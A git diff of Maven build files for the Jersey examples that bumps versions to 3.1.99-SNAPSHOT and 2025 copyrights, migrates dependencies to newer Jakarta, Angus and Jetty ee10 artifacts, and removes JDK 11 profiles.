diff --git a/examples/clipboard/pom.xml b/examples/clipboard/pom.xml index 34ab9c2..eadacea 100644 --- a/examples/clipboard/pom.xml +++ b/examples/clipboard/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>clipboard</artifactId>
diff --git a/examples/configured-client/pom.xml b/examples/configured-client/pom.xml index 6d38f0d..935409d 100644 --- a/examples/configured-client/pom.xml +++ b/examples/configured-client/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>configured-client</artifactId>
diff --git a/examples/declarative-linking/pom.xml b/examples/declarative-linking/pom.xml index 63c4e78..863dff2 100644 --- a/examples/declarative-linking/pom.xml +++ b/examples/declarative-linking/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>declarative-linking</artifactId> @@ -50,8 +50,8 @@ </dependency> <dependency> - <groupId>org.glassfish</groupId> - <artifactId>jakarta.el</artifactId> + <groupId>org.glassfish.expressly</groupId> + <artifactId>expressly</artifactId> </dependency> <dependency>
diff --git a/examples/entity-filtering-security/pom.xml b/examples/entity-filtering-security/pom.xml index 5cb67a3..5c8532c 100644 --- a/examples/entity-filtering-security/pom.xml +++ b/examples/entity-filtering-security/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -18,7 +18,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>entity-filtering-security</artifactId>
diff --git a/examples/entity-filtering-selectable/pom.xml b/examples/entity-filtering-selectable/pom.xml index 6664f23..f8d3bf1 100644 --- a/examples/entity-filtering-selectable/pom.xml +++ b/examples/entity-filtering-selectable/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -18,7 +18,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>entity-filtering-selectable</artifactId>
diff --git a/examples/entity-filtering/pom.xml b/examples/entity-filtering/pom.xml index 4af5fa4..c882e8c 100644 --- a/examples/entity-filtering/pom.xml +++ b/examples/entity-filtering/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -18,7 +18,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>entity-filtering</artifactId>
diff --git a/examples/exception-mapping/pom.xml b/examples/exception-mapping/pom.xml index b55aa9e..5921888 100644 --- a/examples/exception-mapping/pom.xml +++ b/examples/exception-mapping/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>exception-mapping</artifactId>
diff --git a/examples/expect-100-continue-netty-client/pom.xml b/examples/expect-100-continue-netty-client/pom.xml index e09b0bd..287a9b6 100644 --- a/examples/expect-100-continue-netty-client/pom.xml +++ b/examples/expect-100-continue-netty-client/pom.xml
@@ -16,7 +16,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent>
diff --git a/examples/extended-wadl-webapp/pom.xml b/examples/extended-wadl-webapp/pom.xml index 8d239a7..59e5040 100644 --- a/examples/extended-wadl-webapp/pom.xml +++ b/examples/extended-wadl-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -19,7 +19,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>extended-wadl-webapp</artifactId> @@ -139,8 +139,8 @@ <artifactId>jakarta.xml.bind-api</artifactId> </dependency> <dependency> - <groupId>com.sun.activation</groupId> - <artifactId>jakarta.activation</artifactId> + <groupId>org.eclipse.angus</groupId> + <artifactId>angus-activation</artifactId> </dependency> </dependencies> @@ -259,7 +259,8 @@ <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-surefire-plugin</artifactId> <configuration> - <forkMode>always</forkMode> + <forkCount>1</forkCount> + <reuseForks>false</reuseForks> <enableAssertions>false</enableAssertions> <excludes> <exclude>org/glassfish/jersey/examples/extendedwadl/ExtendedWadlWebappOsgiTest.java</exclude> @@ -290,18 +291,6 @@ <profiles> <profile> - <id>testsJdk11</id> - <activation> - <jdk>[11,)</jdk> - </activation> - <dependencies> - <dependency> - <groupId>com.sun.activation</groupId> - <artifactId>jakarta.activation</artifactId> - </dependency> - </dependencies> - </profile> - <profile> <id>javadocAndTestsSkipJDK13</id> <activation> <jdk>[13,)</jdk>
diff --git a/examples/freemarker-webapp/pom.xml b/examples/freemarker-webapp/pom.xml index d5b3042..767cdf0 100644 --- a/examples/freemarker-webapp/pom.xml +++ b/examples/freemarker-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -19,7 +19,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>freemarker-webapp</artifactId> @@ -40,7 +40,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> <dependency> @@ -53,8 +52,8 @@ <plugins> <!-- Run the application using "mvn jetty:run" --> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/examples/groovy/pom.xml b/examples/groovy/pom.xml index a12fae2..725d762 100644 --- a/examples/groovy/pom.xml +++ b/examples/groovy/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -16,7 +16,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>groovy</artifactId> <packaging>jar</packaging>
diff --git a/examples/helloworld-benchmark/pom.xml b/examples/helloworld-benchmark/pom.xml index 055c055..3368128 100644 --- a/examples/helloworld-benchmark/pom.xml +++ b/examples/helloworld-benchmark/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>helloworld-benchmark</artifactId>
diff --git a/examples/helloworld-cdi2-se/pom.xml b/examples/helloworld-cdi2-se/pom.xml index fa19a70..0895034 100644 --- a/examples/helloworld-cdi2-se/pom.xml +++ b/examples/helloworld-cdi2-se/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>helloworld-cdi2-se</artifactId> @@ -39,6 +39,17 @@ </dependency> <dependency> + <groupId>org.jboss.weld.se</groupId> + <artifactId>weld-se-core</artifactId> + <exclusions> + <exclusion> + <groupId>org.jboss.logging</groupId> + <artifactId>jboss-logging</artifactId> + </exclusion> + </exclusions> + </dependency> + + <dependency> <groupId>org.glassfish.jersey.test-framework</groupId> <artifactId>jersey-test-framework-util</artifactId> <scope>test</scope> @@ -76,25 +87,6 @@ </plugins> </build> </profile> - - <profile> - <id>jdk11</id> - <activation> - <jdk>[11,)</jdk> - </activation> - <dependencies> - <dependency> - <groupId>org.jboss.weld.se</groupId> - <artifactId>weld-se-core</artifactId> - <exclusions> - <exclusion> - <groupId>org.jboss.logging</groupId> - <artifactId>jboss-logging</artifactId> - </exclusion> - </exclusions> - </dependency> - </dependencies> - </profile> </profiles> </project>
diff --git a/examples/helloworld-netty/pom.xml b/examples/helloworld-netty/pom.xml index 2bb3e5f..e2600b2 100644 --- a/examples/helloworld-netty/pom.xml +++ b/examples/helloworld-netty/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2016, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2016, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>helloworld-netty</artifactId>
diff --git a/examples/helloworld-programmatic/pom.xml b/examples/helloworld-programmatic/pom.xml index 6636d3a..581bd6d 100644 --- a/examples/helloworld-programmatic/pom.xml +++ b/examples/helloworld-programmatic/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>helloworld-programmatic</artifactId>
diff --git a/examples/helloworld-pure-jax-rs/pom.xml b/examples/helloworld-pure-jax-rs/pom.xml index 768bfec..dfd30cb 100644 --- a/examples/helloworld-pure-jax-rs/pom.xml +++ b/examples/helloworld-pure-jax-rs/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>helloworld-pure-jax-rs</artifactId>
diff --git a/examples/helloworld-spring-annotations/pom.xml b/examples/helloworld-spring-annotations/pom.xml index 0874ae9..072cc76 100644 --- a/examples/helloworld-spring-annotations/pom.xml +++ b/examples/helloworld-spring-annotations/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -15,7 +15,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.examples</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> <artifactId>helloworld-spring-annotations</artifactId> @@ -82,7 +82,7 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> + <version>${servlet6.version}</version> </dependency> </dependencies>
diff --git a/examples/helloworld-spring-webapp/pom.xml b/examples/helloworld-spring-webapp/pom.xml index 81d3514..10dc728 100644 --- a/examples/helloworld-spring-webapp/pom.xml +++ b/examples/helloworld-spring-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -25,7 +25,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>helloworld-spring-webapp</artifactId> @@ -87,7 +87,7 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> + <version>${servlet6.version}</version> </dependency> <dependency> @@ -119,8 +119,8 @@ <plugins> <!-- Run the application using "mvn jetty:run" to deploy to Jetty--> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> <configuration> <webApp> <contextPath>/helloworld-spring-webapp</contextPath>
diff --git a/examples/helloworld-webapp/pom.xml b/examples/helloworld-webapp/pom.xml index f0ad725..13db2fa 100644 --- a/examples/helloworld-webapp/pom.xml +++ b/examples/helloworld-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -19,7 +19,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>helloworld-webapp</artifactId> @@ -32,7 +32,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <!-- <scope>provided</scope> Make this provided for jetty:run --> </dependency> @@ -60,8 +59,8 @@ <plugins> <!-- Run the application using "mvn jetty:run" to deploy to Jetty--> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> <configuration> <webApp> <contextPath>/helloworld-webapp</contextPath>
diff --git a/examples/helloworld-weld/pom.xml b/examples/helloworld-weld/pom.xml index a5ce51c..032b6f8 100644 --- a/examples/helloworld-weld/pom.xml +++ b/examples/helloworld-weld/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>helloworld-weld</artifactId> @@ -60,6 +60,18 @@ <dependency> <groupId>org.jboss.weld.se</groupId> <artifactId>weld-se-core</artifactId> + <exclusions> + <exclusion> + <groupId>org.jboss.logging</groupId> + <artifactId>jboss-logging</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.jboss.logging</groupId> + <artifactId>jboss-logging</artifactId> + <version>${jboss.logging.version}</version> + <scope>provided</scope> </dependency> <dependency>
diff --git a/examples/helloworld-weld/src/main/resources/META-INF/beans.xml b/examples/helloworld-weld/src/main/resources/META-INF/beans.xml index 5d361e9..77e336a 100644 --- a/examples/helloworld-weld/src/main/resources/META-INF/beans.xml +++ b/examples/helloworld-weld/src/main/resources/META-INF/beans.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -11,4 +11,9 @@ --> -<beans/> +<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns="http://xmlns.jcp.org/xml/ns/javaee" + xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee + http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd" + bean-discovery-mode="all"> +</beans>
diff --git a/examples/helloworld/pom.xml b/examples/helloworld/pom.xml index b99c2ef..b3e0c92 100644 --- a/examples/helloworld/pom.xml +++ b/examples/helloworld/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>helloworld</artifactId>
diff --git a/examples/http-patch/pom.xml b/examples/http-patch/pom.xml index 567d9ad..40d2196 100644 --- a/examples/http-patch/pom.xml +++ b/examples/http-patch/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>http-patch</artifactId>
diff --git a/examples/http-trace/pom.xml b/examples/http-trace/pom.xml index 0026193..d0a0074 100644 --- a/examples/http-trace/pom.xml +++ b/examples/http-trace/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>http-trace</artifactId>
diff --git a/examples/https-clientserver-grizzly/pom.xml b/examples/https-clientserver-grizzly/pom.xml index 1ff6f66..65c331f 100644 --- a/examples/https-clientserver-grizzly/pom.xml +++ b/examples/https-clientserver-grizzly/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -18,7 +18,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>https-clientserver-grizzly</artifactId> @@ -58,6 +58,12 @@ <artifactId>junit-jupiter</artifactId> <scope>test</scope> </dependency> + <dependency> + <groupId>com.sun.xml.bind</groupId> + <artifactId>jaxb-osgi</artifactId> + <scope>runtime</scope> + </dependency> + </dependencies> <build> @@ -74,23 +80,6 @@ <profiles> <profile> - <id>jdk11+</id> - <activation> - <jdk>[11,)</jdk> - </activation> - <properties> - <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 --> - <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline> - </properties> - <dependencies> - <dependency> - <groupId>com.sun.xml.bind</groupId> - <artifactId>jaxb-osgi</artifactId> - <scope>runtime</scope> - </dependency> - </dependencies> - </profile> - <profile> <id>pre-release</id> <build> <plugins> @@ -103,4 +92,9 @@ </profile> </profiles> + <properties> + <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 --> + <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline> + </properties> + </project>
diff --git a/examples/https-server-glassfish/pom.xml b/examples/https-server-glassfish/pom.xml index 1273186..2698b57 100644 --- a/examples/https-server-glassfish/pom.xml +++ b/examples/https-server-glassfish/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -19,7 +19,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>https-server-glassfish</artifactId>
diff --git a/examples/java8-webapp/pom.xml b/examples/java8-webapp/pom.xml index 25d7e1b..56ecf83 100644 --- a/examples/java8-webapp/pom.xml +++ b/examples/java8-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -18,7 +18,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>java8-webapp</artifactId> @@ -53,8 +53,8 @@ </plugin> <!-- Run the application using "mvn jetty:run" --> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> <configuration> <stopWait>5</stopWait> <stopPort>9999</stopPort>
diff --git a/examples/jaxb/pom.xml b/examples/jaxb/pom.xml index 4430309..760d831 100644 --- a/examples/jaxb/pom.xml +++ b/examples/jaxb/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -16,7 +16,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jaxb</artifactId>
diff --git a/examples/jaxrs-types-injection/pom.xml b/examples/jaxrs-types-injection/pom.xml index 63e5a87..16ce7b0 100644 --- a/examples/jaxrs-types-injection/pom.xml +++ b/examples/jaxrs-types-injection/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jaxrs-types-injection</artifactId>
diff --git a/examples/jersey-ejb/pom.xml b/examples/jersey-ejb/pom.xml index 83d4303..6126e23 100644 --- a/examples/jersey-ejb/pom.xml +++ b/examples/jersey-ejb/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -19,7 +19,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-ejb</artifactId>
diff --git a/examples/json-binding-webapp/pom.xml b/examples/json-binding-webapp/pom.xml index 7251947..2c17250 100644 --- a/examples/json-binding-webapp/pom.xml +++ b/examples/json-binding-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -16,7 +16,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>json-binding-webapp</artifactId>
diff --git a/examples/json-jackson/pom.xml b/examples/json-jackson/pom.xml index 4f27b73..904cefe 100644 --- a/examples/json-jackson/pom.xml +++ b/examples/json-jackson/pom.xml
